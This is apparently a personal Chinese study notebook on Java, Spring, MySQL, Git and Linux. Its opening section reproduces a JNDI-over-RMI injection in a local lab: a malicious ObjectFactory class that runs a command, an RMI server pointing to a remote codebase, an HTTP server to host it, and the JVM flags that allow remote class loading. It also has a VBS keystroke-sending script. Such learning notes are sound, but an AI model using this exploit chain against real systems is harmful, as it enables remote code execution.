.\Server.java:11: 警告: ReferenceWrapper是内部专用 API, 可能会在未来发行版中删除
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
^
3 个警告
---
被加载的恶意类 (打开计算器, 会打开4个)
import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
{
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
public Calc() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
return null;
}
}
--
JNDI 注入实现(RMI) --------End
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
各种Linux发行版通常都内置了python,故使用此方法非常方便。在其它OS(比如Windows)此方法也有效,但是要麻烦一些,必须先搭建Python环境。
SimpleHTTPServer是Python 2自带的一个模块,是Python的Web服务器。它在Python 3已经合并到http.server模块中。SimpleHTTPServer在Python 3的用法与在Python 2的用法相似(python3 -m http.server 8081)
python -m SimpleHTTPServer 8081
---
在【被加载的恶意类】的目录下,执行此命令
python3 -m http.server 8081
SimpleHTTPServer有一个特性,如果待共享的目录下有index.html,那么index.html文件会被视为默认主页;如果不存在index.html文件,那么就会显示整个目录列表。
从jdk8u121 7u131 6u141版本开始
com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false
即默认不允许从远程的Codebase加载Reference工厂类
所以切换8u121版本,运行会报错(其实这里的8u121就是网上所说的8u113)
问答
---
1.JNDI利用RMI进行攻击,在服务端本地是否需要有恶意类
服务端本地不需要恶意类
2.是服务端的版本有限制还是客户端版本有限制
是客户端有版本限制,需要小于8u121
3.为什么关闭服务器,客户端还可以继续执行payload
客户端优先寻找本地是否有类(注意是类,不是class文件),然后才通过codebase从远程下载类
---
30.RMI(Remote Method Invocation)为远程方法调用
是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。
这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。
首先,在一个JVM中启动rmiregistry服务,启动时可以指定服务监听的端口,也可以使用默认的端口(1099)。
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
}
}
31.registry // 在一个JVM中启动rmiregistry服务
英 [ˈrɛdʒɪstrɪ] n. 登记处,注册处;登记,注册
32.RMI代码运行报错 (原因,没有启动RMI服务)
MyJava\1_RMI> java Client
Exception in thread "main" javax.naming.ServiceUnavailableException [Root exception is java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is:
java.net.ConnectException: Connection refused: connect]
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:136)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at Client.main(Client.java:10)
Caused by: java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is:
java.net.ConnectException: Connection refused: connect
at sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:619)
at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:216)
at sun.rmi.transport.tcp.TCPChannel.newConnection(TCPChannel.java:202)
at sun.rmi.server.UnicastRef.newCall(UnicastRef.java:338)
at sun.rmi.registry.RegistryImpl_Stub.lookup(RegistryImpl_Stub.java:112)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:132)
... 3 more
Caused by: java.net.ConnectException: Connection refused: connect
at java.net.DualStackPlainSocketImpl.connect0(Native Method)
at java.net.DualStackPlainSocketImpl.socketConnect(DualStackPlainSocketImpl.java:79)
at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:350)
at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:206)
at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:188)
at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:172)
at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392)
at java.net.Socket.connect(Socket.java:589)
at java.net.Socket.connect(Socket.java:538)
at java.net.Socket.(Socket.java:434)
at java.net.Socket.(Socket.java:211)
at sun.rmi.transport.proxy.RMIDirectSocketFactory.createSocket(RMIDirectSocketFactory.java:40)
at sun.rmi.transport.proxy.RMIMasterSocketFactory.createSocket(RMIMasterSocketFactory.java:148)
at sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:613)
... 8 more
33.启动RMI服务之后 (Java不信任RMI的URL再次报错)
(第二个窗口为启动RMI,java的程序,一直是运行状态,没有退出)
34.Java不信任RMI的URL再次报错,信息
MyJava\1_RMI> java Client
Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at Client.main(Client.java:10)
35.Java不信任RMI的URL再次出错,原因
从jdk8u121 7u131 6u141版本开始
com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false
即默认不允许从远程的Codebase加载Reference工厂类
JDK 8u191之后的JNDI注入(注入模拟 被攻击者,启动的JVM时, 需要加上以下参数)
java -Dcom.sun.jndi.rmi.object.trustURLCodebase=true -Dcom.sun.jndi.cosnaming.object.trustURLCodebase=true Client
※ PowerShell下不好用,在cmd命令行下好用,运行之后,连续打开4个计算器。
【再现成功】
【再现成功 powershell 下执行时,需要加上双引号】
java -D"com.sun.jndi.rmi.object.trustURLCodebase=true" -D"com.sun.jndi.cosnaming.object.trustURLCodebase=true" Client
javac Calc.java
javac Server.java
Javac Client.java
python3 -m http.server 8081
java Server
java -Dcom.sun.jndi.rmi.object.trustURLCodebase=true -Dcom.sun.jndi.cosnaming.object.trustURLCodebase=true Client
java -D"com.sun.jndi.rmi.object.trustURLCodebase=true" -D"com.sun.jndi.cosnaming.object.trustURLCodebase=true" Client
37.-D -X -XX
java虚拟机参数 -D、-X和-XX的区别_上尤流苏-CSDN博客_java虚拟机参数设置-xx与-d
38.Maven
No Compiler is provided in this environment. Perhaps you are runing on a JRE rather than a JDK
在运行maven打包时:运行环境默认配置jre而不是JDK
这样子的话普通的java运行没问题、但是maven运行需要JDK
解决:配置JDK的bin的环境变量即OK了。
即使设置了,有时还是不好用,还需要设定【JAVA_HOME】 // mvn.cmd中,使用了这个环境变量
set JAVA_HOME="c:\XXX\XXX\java8"
・rather
adv. 相当,宁愿,有点儿
・rather than
1、 连接两个形容词
The sweater she bought was beautiful rather than cheap. 与其说她买的这件羊毛衫便宜不如说它漂亮。
2、连接两个介词(短语)或动名词
We will have the meeting in the classroom rather than in the great hall. 我们是在教室里开会,不是在大厅里。
3、连接两个分句
We should help him rather than he should help us. 是我们应该帮助他而不是他应该帮助我们。
4、连接两个不定式
I decided to write rather than (to) telephone. 我决定写信而不打电话。
39.tasklist | findstr "Box" // findstr 区分大小写
40.taskkill /f /im Box.exe
41.windows フォトビューアー
フォトは、「フォトショップ」の省略表現。
windows Photoshop view
windows 照片查看器
可以查询的网站
===
Palo Alto Networks Security Advisories
CVE-2021-44228 : Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and
===
下面这个网站查询不到
CWE - News & Events (mitre.org)
===
43.features [ˈfiːtʃəz] 相貌;容貌 ;特色; 特征; 特点; // JNDI features used
// CVE-2021-44228 : Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints.
通过 【Apache Log4j2 2.0-beta9到2.12.1和2.13.0到2.15.0 】配置、日志消息和参数中,使用的JNDI功能。无法防止攻击者控制的LDAP和其他JNDI相关端点。
44.against 英[əˈɡenst] 介词,意为“反对,违反;对……不利;紧靠,倚,碰撞;针对;预防,抵御;
45.attacker 英[əˈtækə(r)] 攻击者
// against attacker 对付攻击者
46.black hat 黑客
47.hacker 英 [ˈhækə] n. 电脑黑客
Hacker一词,最初曾指热心于计算机技术、水平高超的电脑高手,尤其是程序设计人员,
逐渐区分为白帽、灰帽、黑帽等,其中黑帽(black hat)实际就是cracker。
在媒体报道中,黑客一词常指那些软件骇客(software cracker),
而与黑客(黑帽子)相对的则是白帽子。
48.ORM 框架简介 (Object Relational Mapping)
业务实体在内存中表现为【对象】,在数据库中表现为【关系数据】。
因此,对象-关系映射(ORM)系统一般以中间件的形式存在,主要实现程序对象到关系数据库数据的映射。
===
Spring支持以下ORM:
1,Hibernate
2,iBatis
3,JPA (Java Persistence API)
4,TopLink
5,JDO (Java Data Objects)
6,OJB
===
49.JPA
概述:JPA的全称是Java Persistence API, 即Java 持久化API,
是SUN公司推出的一套基于ORM的规范,内部是由一系列的接口和抽象类构成。
50.持久性(persistence)
persistence 英 [pəˈsɪstəns] n. 坚持不懈;执意;继续存在,持续存在;维持
51.JPA、Hibernate、Mybatis简 区别
1.JPA:本身是一种ORM规范,不是ORM框架. 由各大ORM框架提供实现.
2.Hibernate:目前最流行的ORM框架,设计灵巧,文档丰富(完全自动操作),只是性能不好控制(自己去控制性能,不是很好控制)。
(Hibernate是一个完整的ORM框架,常规CRUD我们不需要写一句SQL)
3.MyBatis:本是apache的一个开源项目iBatis,提供的持久层框架包括SQL Maps和Dao,允许开发人员直接编写SQL(更好灵活).(Sql操作方式)
52.JPA 如何使用 // 只需要持久层接⼝继承 JpaRepository 即可
SpringDataJpa:JpaRepository增删改查_琦彦-CSDN博客_jparepository
53.Mybatis (⽀持对象与数据库的 ORM 字段映射关系)
#{}相当于使用占位符,可以防⽌ SQL 注入。
(#{}是预编译处理,相当于对数据加上双引号,然后调用PreparedStatement的set方法来赋值)
${}是字符串替换,相当于直接显示数据,
54.pring MVC
@RequtestMapping :将URL请求和业务方法映射起来,在类和⽅法定义上都可以添加该注
@RequestParam :如果 Controller 方法的形参和 URL 参数名⼀致可以不添加注解
@PathVariable :Spring MVC ⽀持 RESTful风格 URL,通过的绑定。
53.AOP 即⾯向切⾯编程
简单地说就是将代码中重复的部分抽取出来,在需要执⾏的时候使⽤动态代理技术,在不修改源码的基础上对方法进⾏增强
54.AOP 的相关注解有哪些
@Aspect :声明被注解的类是⼀个切⾯ Bean。
@Before :前置通知,指在某个连接点之前执行的通知。
@After :后置通知,指某个连接点退出时执⾏的通知(不论正常返回还是异常退出)。
@AfterReturning :返回后通知,指某连接点正常完成之后执行的通知,返回值使⽤returning属性接收。
@AfterThrowing :异常通知,指⽅法抛出异常导致退出时执行的通知,和 @AfterReturning 只会有⼀个执⾏,异常使用throwing属性接收。
55.SpringBoot
Spring Boot makes it easy to create stand-alone, production-grade Spring based Applications that you can "just run". We take an opinionated view of the Spring platform and third-party libraries so you can get started with minimum fuss. Most Spring Boot applications need very little Spring configuration.
我们通常把Spring Boot称为搭建程序的脚手架。其最主要作用就是帮我们快速的构建庞大的spring项目,并且尽可能的减少一切xml配置,做到开箱即用,迅速上手,让我们关注于业务而非配置.
例子:
SpringBoot + MyBatis + Thymeleaf 之 HelloWorld_sun0322-CSDN博客
56.glassfish 查看 事务隔离级别
glassfish mysql 配置文件_最新glassfish配置mysql_梁航铭的博客-CSDN博客
57.is-isolation-level-guaranteed // 。。。/glassfish/domains/domain1/config/domain.xml // glassfish4
58.guaranteed [ˌɡærənˈtiːd] 保证; 担保; 保障;
59.端口号 1527 // Derby数据库端口号默认为1527
60.org.springframework.transaction.annotation.Isolation 枚举类中定义了五个表示隔离级别的值:
SpringBoot设置事务隔离等级 - 那些年的代码 - 博客园
public enum Isolation {
DEFAULT(-1),
READ_UNCOMMITTED(1),
READ_COMMITTED(2),
REPEATABLE_READ(4),
SERIALIZABLE(8);
}
DEFAULT :这是默认值,表示使用底层数据库的默认隔离级别。
对大部分数据库,通常这值就是: READ_COMMITTED 。
对 mysql数据库,是 : REPEATABLE_READ。
61.Chrome修改主页无效---解决
查看快捷方式属性是否有后缀
62.Linux Shell 数字相加
×:
COUNT=0
COUNT=$COUNT+1
echo ${count}
---
0+1
〇:
COUNT=0
COUNT=$(( $COUNT+1 ))
echo ${count}
---
1
63.【 JNDI】 与 【 java:comp/env/ 】
关于获取数据源的语法,大体有两种写法,
・(javax.sql.DataSource) ctx.lookup ("java:comp/env/XXX") // 只能用在J2EE环境,是一个映射(ref) ,并非JNDI的名字
・(javax.sql.DataSource) ctx.lookup("XXX") // 这里的XXX,需要是一个确实存在的JNDI名。
在javal中,
Context iniCtx = new InitialContext();
DataSource dataSource = (DataSource) ctx.lookup("java:comp/env/jdbc/test");
java:comp/env/ 前面是固定的
java:comp/env/ 是标准的J2EE环境查找规则
---
package com.city.sxzlc.factory;
import javax.sql.DataSource;
import javax.naming.InitialContext;
import java.sql.Connection;
public class ConnectionFactory {
public static Connection getConnection() throws Exception{
Connection cn = null;
InitialContext ctx =null;
try{
ctx = new InitialContext();
DataSource ds = (DataSource)ctx.lookup("java:comp/env/jdbc/messageBoard");
cn = ds.getConnection();
System.out.println("使用纯JDBC获取连接成功");
}
catch(Exception e)
{
System.out.println("使用纯JDBC获取连接失败 , "+e.getMessage());
throw new Exception("使用纯JDBC获取连接失败");
}
finally
{
ctx.close();
}//final end
return cn;
}
}
在Tomcat的conf/context.xml里面增加如下配置
所以在Tomcat 4.1.27之后,在服务器上就直接增加了数据源的配置选项,直接在服务器上配置好数据源连接池即可。
【apache-tomcat-9.0.0.M13\conf\context.xml】
64.Java获得【IP】与【计算机名】
import java.net.InetAddress;
public class GetIP{
public static void main(String[] args)
throws Exception {
InetAddress addr = InetAddress.getLocalHost();
System.out.println("Local HostAddress: "+addr.getHostAddress());
String hostname = addr.getHostName();
System.out.println("Local host name: "+hostname);
}
}
65.JNDI架构
66.网址
辽宁省统一身份认证平台
67.JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口
68.LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。
目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
目录数据库和关系数据库不同,它有优异的读性能,
但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。
所以目录天生是用来查询的,就好象它的名字一样。
69.Excel 排序有问题
因为没有选择扩展选定区域。
01.しんどい // 日本关西方言,费劲,吃力。累。疲劳。
02.ハイブリッド 【英】hybrid ;混合物。
hybrid // 英 [ˈhaɪbrɪd] n. 杂交动物(植物);混血儿;混合物;混合词
■課題
Merge
No merge base could be determined. Reason=CONFLICTS_DURING_MERGE_BASE_CALCULATION.
Multiple commond ancestors were found and merging them resulted in a conflict:
ae808ae08a0e8a08e0a,adad808eae8a0e8a
eclipse - Multiple common ancestors were found and merging them resulted in a conflict - Stack Overflow
网上说这是Eclipse Git plugin的一个bug。 确实如此!
■解決 方案一
1.gitbushロックイン
git pull
执行上面的命令后,便会让你输入用户,密码
2.切换branch
git checkout master
3.查看当前Brach (查看当前 所在分支)
git branch // 查看分支
git log // 查看提交记录
git log -2 查看最近2次的提交历史记录
git status // 查看当前 所在分支
执行切换分支命令时,Eclipse中的工程会跟着变化
4.下記コマンド実行
git merge --no-commit origin/dev_branchname
■備考 (方案一)
#形式一
git merge [-n] [--stat] [--no-commit] [--squash] [--[no-]edit]
[--no-verify] [-s
[--[no-]allow-unrelated-histories]
[--[no-]rerere-autoupdate] [-m
#形式二
git merge (--continue | --abort | --quit)
■解決 方案二 (采用此方案,解决了!)
使用 Tortoise (Merge)
不需要登录Git,(但是需要输入用户名和邮箱即可)
Merge操作是在本地的Git上进行的。
---
---
(初次使用时才有)
---
(初次使用时才有)
---
在下面,选择你要Merge的Branch
Merge之后,Eclipse中,会显示Merge的代码,在【stage】区域,
检查代码之后,就可以在Eclipse中提交了。
Eclipse中的Merge设置,可以参照下面内容
GIT命令行的一些基本操作_sun0322-CSDN博客
---
■解決 方案三
换一个 Eclipse
04.
ご連絡が遅くなり申し訳ありません。
ご連絡が遅くなり、大変申し訳ございません。
05.notStop.vbs
notepadAuto
Function notepadAuto()
Dim wshShell
Set wshShell = Wscript.CreateObject("Wscript.Shell")
wshShell.Run("%windir%\system2\notepad.exe")
For i =1 to 60
WScript.Sleep 3000
wshShell.Sendkeys "{A}"
WScript.Sleep 3000
wshShell.Sendkeys "{B}"
WScript.Sleep 3000
wshShell.Sendkeys "{C}"
WScript.Sleep 1000
wshShell.Sendkeys "{ENTER}"
NEXT
End Function
1.最开始打开是在notepad上输出
※ 【危险!!!】2.当光标移动到别的程序上时,可以在别的程序上继续输出(比如文本编辑器sakura)
06.パイプ 管道
tail
2021-12:grep '\"2021\-12' ./*.csv | wc
2022-12:grep '\"2021\-12' ./*.csv | tail -3 | xargs iconv -f sjis -t utf8
// tail 显示最后三行(最后桑文件)
07.tail 命令,下面两个效果相同
---
tail -n 3
tail -3
---
2022-12:grep '\"2021\-12' ./*.csv | tail -3 | xargs iconv -f sjis -t utf8
显示查询出的文件中,最后三个文件的内容。(查看文件时,把编码转换成utf8后打开)
08.iconv
Linux下iconv命令对文件编码进行转换_shimadear的博客-CSDN博客_iconv iso-8859-1
iconv -f sjis -t utf8 yourFileName
09.ABEND Abnormal End 异常终止;异常结束
10.Abnormal [æbˈnɔːməl] 不正常的;变态的;畸形的;异乎寻常的
11.Artifactory
制品仓库的artifactory的介绍和部署 - 清白之年980410 - 博客园 (cnblogs.com)
Jfrog(这是公司名)的Artifactory是一款Maven仓库服务端软件,可以用来在内网搭建maven仓库,供公司内部公共库的上传和发布,以提高公共代码使用的便利性。
它也是目前全球唯一一个支持所有开发语言,任意维度的元数据检索、跨语言正反向依赖分析,并同时拥有深度递归、支持多活异地灾备的企业级、高可用二进制制品管理仓库。世界五百强中93%的企业已经将Artifactory作为自己DevOps的核心系统。
12.截屏
「pint」:截屏对象 ⇒ 屏幕
「alt」+「pint」:截屏对象 ⇒ 窗口
「win」+「shift」+「s」截屏对象 ⇒ 自己选择(指定)
13.win10下系统环境变量设置成功后,使用无效 (解决:加上双引号)
×:set path=C:\xxx\xx\java\8\bin;%path%
〇:set path="C:\xxx\xx\java\8\bin";%path%
14.existent 英 [ɪɡˈzɪstənt] adj. 存在的,现存的,目前的 n. 存在物,生存者
15.防火墙
・查看防火墙状态信息
systemctl status firewalld
・打开防火墙(如果不是显示active状态,需要打开)
systemctl start firewalld
・查看防火墙所有信息
firewall-cmd --list-all
・查看防火墙开放的端口信息(默认为空)。。。明明有开放端口,但是看不到啊。。。也许外层还有防护墙
firewall-cmd --list-ports
・查看所有永久开放的端口(默认为空)
firewall-cmd --list-ports --permanent
16.查看端口对应的进程
方法1:
netstat -anp | grep -e :80 -e PID
方法2:
lsof -i:port
lsof -i:80
※:都可以看到连接到服务器端的,客户端的IP。(页面发生请求之后,立即执行命令查看)
17.since // java since 1.7
adv. 此后;后来
prep. 自...以后;从...以来
18.Java内存分配详解(堆内存、栈内存、常量池)
Java内存分配详解(堆内存、栈内存、常量池)_jian_sheng_tan的博客-CSDN博客_常量池和堆内存
19.TeraTerm启动程序(有两个)
・普通启动
ttermpro.exe
・调用ttl函数启动
ttpmacro.exe
TeraTerm自动登录(Login)_sun0322-CSDN博客_teraterm自动登录
20.ps -aux | grep xxx |grep -v grep
-v // invert-match // -v is specified by POSIX
21.invert英 [ɪnˈvɜːt; ˈɪnvɜːt] n. 颠倒的事物 v. 使…转化;使…颠倒
22.POSIX // Linux之正则表达式
(021) Linux之正则表达式 - jplatformx - 博客园
什么是POSIX?POSIX也就是Portable Operating System Interface(末尾增加X只是为了更流畅)的缩写。
它是20世纪80年代中期,IEEE开始开发了一套规范UNIX和类UNIX系统工作方式的标准。
这些标准,官方名称为IEEE 1003,定义了应用程序接口(API)、shell以及一些实用程序,它们可以在标准类UNIX系统中找到。
该标准由Richard Stallman提议命名为POSIX,后来被IEEE采纳。
23.NOOP NO Operation 无操作
24.类【JndiLookup】 的位置,关系 // Log4j2 漏洞
org.apache.logging.log4j.core.lookup.JndiLookup
JndiLookup extends AbstractLookup
AbstractLookup implements StrLookup
25.Stream的优点(特性)
・无存储。stream不是一种数据结构,它只是某种数据源的一个视图,数据源可以是一个数组,Java容器或I/O channel等。
・为函数式编程而生。
・对stream的任何修改都不会修改背后的数据源
比如对stream执行过滤操作并不会删除被过滤的元素,而是会产生一个不包含被过滤元素的新stream。
・可消费性。stream只能被“消费”一次,一旦遍历过就会失效,要再次遍历必须重新生成。
26.Stream的map方法
Stream的map方法类似一个迭代器,对调用这个Stream.map(**)的对象进行lambda表达式操作。
stream().map()方法详解_莫浔的博客-CSDN博客_stream().map()
27.@ConfigurationProperties 与 @value
@ConfigurationProperties与@Value的区别_一个旅人-CSDN博客_@configuration @value
@ConfigurationProperties方式支持复杂数据类型的封装
@Value的方式并不支持复杂类型数据的封装
28.げた 木履,木屐,呱嗒板儿,趿拉板儿。 // 記号 〓 (印刷時の伏せ字) (ふせじ)
29.カット 【英】 cut ;切,去掉;削球;剪发,理发;
30.PowerShell 无法加载文件ps1,因为在此系统中禁止执行脚本
1.通过命令
get-executionpolicy
显示 Restricted
即不允许执行任何脚本。
2.通过命令
get-help set-executionpolicy
可知有以下执行策略: | | | | | |
3.通过命令、修改其策略 (需要管理者权限执行):
set-executionpolicy remotesigned
即可执行脚本
---
31.springboot启动流程(目录)
springboot启动流程(目录) - __lay - 博客园
32.リトライ 【英】retry ;重试,再干;再审。 [riːˈtraɪ] 再试,复执
33.Docker Volume
Docker学习笔记(6)——Docker Volume - 简书
34.SpringBoot 之 【logback-spring.xml】 的加载
springboot 源码阅读之 logback-spring.xml 是在哪里加载的?_heshiyuan1406146854的博客-CSDN博客_logback-spring.xml
AbstractLoggingSystem.java // 131 行
└LogBackLoggingSystem.java // 98 行
---
35.SLF4J
org.slf4j.Logger // Interface
01.@Inherited (非必要) - 它所标注的注解具有继承性。
inherited 英[ɪnˈherɪtɪd] v.继承(金钱、财产等); 经遗传获得(品质、身体特征等); 接替(责任等); 继任;
02.restriction 英[rɪˈstrɪkʃn] n.限制规定; 限制法规; 限制;
Java学习(更新中)_sun0322-CSDN博客
03.使用 @Aspect 注解的类就是切面.
04.aspect 由 pointcount 和 advice 组成
2020 最新Spring面试题_duchaochen的博客-CSDN博客_spring的接口编程主要目的是
05.advice 英[ədˈvaɪs] 劝告; 忠告; 建议; 意见; // AOP 中的术语 (通知/增强)
06.织入((Weaving)) advice 的目标对象. 目标对象也被称为 advised object.
advice 的类型 5种
===
1 | before Run advice before the a method execution. |
2 | after Run advice after the method execution, regardless of its outcome. |
3 | after-returning Run advice after the a method execution only if method completes successfully. |
4 | after-throwing Run advice after the a method execution only if method exits by throwing an exception. |
5 | around Run advice before and after the advised method is invoked. |
===
AspectJ是一个面向切面的框架,是目前最好用,最方便的AOP框架
(@Aspect、@Pointcut、@Before、@After、@Around)
07.introduction 英 [ˌɪntrəˈdʌkʃən] n. 介绍;引进;采用;序言;入门;序曲
AOP with Spring Framework (tutorialspoint.com)
Sr.No | Terms & Description |
---|---|
1 | Aspect This is a module which has a set of APIs providing cross-cutting requirements. For example, a logging module would be called AOP aspect for logging. An application can have any number of aspects depending on the requirement. |
2 | Join point This represents a point in your application where you can plug-in the AOP aspect. You can also say, it is the actual place in the application where an action will be taken using Spring AOP framework. |
3 | Advice This is the actual action to be taken either before or after the method execution. This is an actual piece of code that is invoked during the program execution by Spring AOP framework. |
4 | Pointcut This is a set of one or more join points where an advice should be executed. You can specify pointcuts using expressions or patterns as we will see in our AOP examples. |
5 | Introduction An introduction allows you to add new methods or attributes to the existing classes. |
6 | Target object The object being advised by one or more aspects. This object will always be a proxied object, also referred to as the advised object. |
7 | Weaving Weaving is the process of linking aspects with other application types or objects to create an advised object. This can be done at compile time, load time, or at runtime. |
---
切面(Aspect):一个模块化的横切逻辑(或称横切关注点),可能会横切多个对象。
连接点(Join Point):程序执行中的某个具体的执行点。入原对象的fun()方法就是一个连接点。
增强处理(Advice):切面在某个特定连接点上执行的代码逻辑。
切入点(Ponitcut):对连接点的特征进行描述,可以使用正则表达式。增强处理和一个切入点
表达式相关联,并在与这个切入点匹配的某个连接点上运行。
目标对象(Target object):被一个或多个切面增强的对象。
AOP代理(AOP proxy):由AOP框架所创建的对象,实现执行增强处理方法等功能。
织入(Weaving):将增强处理连接到应用程序中的类型或对象上的过程。
introduction(引介):引介是一种特殊的通知在不修改类代码的前提下,Introduction可以在运行期间为类动态地添加一些方法或Field
Proxy(代理):一个类被AOP织入增强后,就产生一个结果代理类
---
08.PointCut表达式
09.配置Aop
基于 @Accept标注
基于XML
。。。
======= spring AOP End
10.Java 并发工具包 java.util.concurrent 用户指南
文章1
Java 并发工具包 java.util.concurrent 用户指南_Defonds 的专栏-CSDN博客_java 并发工具包
文章2
java.util.concurrent包详细分析_我的山水-CSDN博客_java.util.concurrent
11.MethodSignature // Aop(AspectJ) // ProceedingJoinPoint.getSignature
springboot之JoinPoint的getSignature方法_Mint6的博客-CSDN博客_joinpoint.getsignature()
12.方法签名(method signature)
13.signature [ˈsɪɡnɪtʃə] n. 签字,签署;识别标志,特征
14.DeadlockLoserDataAccessException // org.springframework.dao
由DUPLICATE引起的DeadlockLoserDataAccessException死锁_星空的风fly-CSDN博客
// 发生原因:当执行更新的时候,发现了要更新的数据被别的事务锁了,拿不到了锁,于是就死锁了
15.Mysql事务中Update是否会锁表
mysql update 事物锁表_Mysql事务中Update是否会锁表?_云云众生w的博客-CSDN博客
// 如果没有索引,update会锁表(占有表,排他),如果加了索引,就会锁行(占有行,排他)
(即,等待事务1的 update 执行完了之后,事务2的update才会执行。)
16.Object
└Throable // AOP RoundAdvice 方法 要 throws Throable
└Error
└Exception
17.Method // java.long.reflect.Method
===
isAnnotationPresent(XXXXX.class);
===
Methods inherited from class java.lang.reflect.AccessibleObject
getAnnotations, getDeclaredAnnotation, getDeclaredAnnotationsByType, isAccessible, isAnnotationPresent, setAccessible, setAccessible
// inherited 英[ɪnˈherɪtɪd] v.继承
・事务并发
通常为了获得更好的运行性能,各种数据库都允许多个事务同时运行,这就是事务并发。
・事务并发问题 (更新丢失(Lost Update))
当事务A和事务B同时修改某行的值,
MySQL高并发事务问题及解决方案_weixin_34307464的博客-CSDN博客
・事务并发问题解决
对行加锁,只允许并发一个更新事务。
・存储引擎
MySQL有MyISAM 和InnoDB两种存储引擎,现在主要使用InnoDB,所以主要介绍InnoDB下锁的使用。
show engines;
--
show create table yourTableName;
・有时【锁行】 ,有时【锁表】 的原因:与索引有关
不恰当的update语句使用主键和索引导致mysql死锁_在远行的路上-CSDN博客_mysql update 主键死锁
MySQL有三种锁的级别:页级、表级、行级。
(行级锁并不是直接锁记录,而是锁索引)
===
MyISAM和MEMORY存储引擎采用的是表级锁(table-level locking);
BDB存储引擎采用的是页面锁(page-level locking),但也支持表级锁;
InnoDB存储引擎既支持行级锁(row-level locking),也支持表级锁,但默认情况下是采用行级锁。
===
・非主键索引,主键索引
腾讯面试:一条SQL语句执行得很慢的原因有哪些?---不看后悔系列 - 帅地 - 博客园
・查看索引
show index from yourTableName
・mysql redo log
19.
20.
01.YYYY是表示:当天所在的周属于的年份,一周从周日开始,周六结束,只要本周跨年,那么这周就算入下一年。
02.crontab -l
03.glassfish sessiontimeout // domainXX/config/domain.xml | grep -Hn timeout
04.find ./ -mtime -2 查找文件更新日时在距现在时刻二天以内的文件
05.@PostConstruct该注解被用来修饰一个非静态的void()方法。被@PostConstruct修饰的方法会在服务器加载Servlet的时候运行,并且只会被服务器执行一次。
06.delimiter //mysql相关 -- [ delimiter //] 以【//】作为分隔符,代表SQL的结束。替代之前的【;】 [delimiter ;]
07.Reference [ˈrɛfərəns] 引用 // java
08.Reflection [rɪˈflɛkʃən] 反射 // java
09.日次 ひつぎ
10.immutable [ɪˈmjuːtəbəl] adj. 永远不变的 // java String
11.AutoCloseable // try-with-resources 要求关闭的资源必须实现AutoCloseable接口
12.mysql -e 'select xxx from xxx where xxx'
13.which sss // Linux 查看执行文件的位置
14.软连接 シンボリックリンク (创建) // ln -s /AAAA/BBBB/CCC/DDD/sss /bin/sss 软连接(删除) ulink /bin/sss
15.Predicate 英 [ˈprɛdɪˌkeɪt; ˈprɛdɪkɪt] adj. 谓语的 v. 断言 // 函数式接口
16.consumer是买了商品,而使用某某商品的人, // 函数式接口
17.customer只是指买该商品的人但不证明他/她有使用该商品的人. customer /ˈkʌstəmə/ 顾客
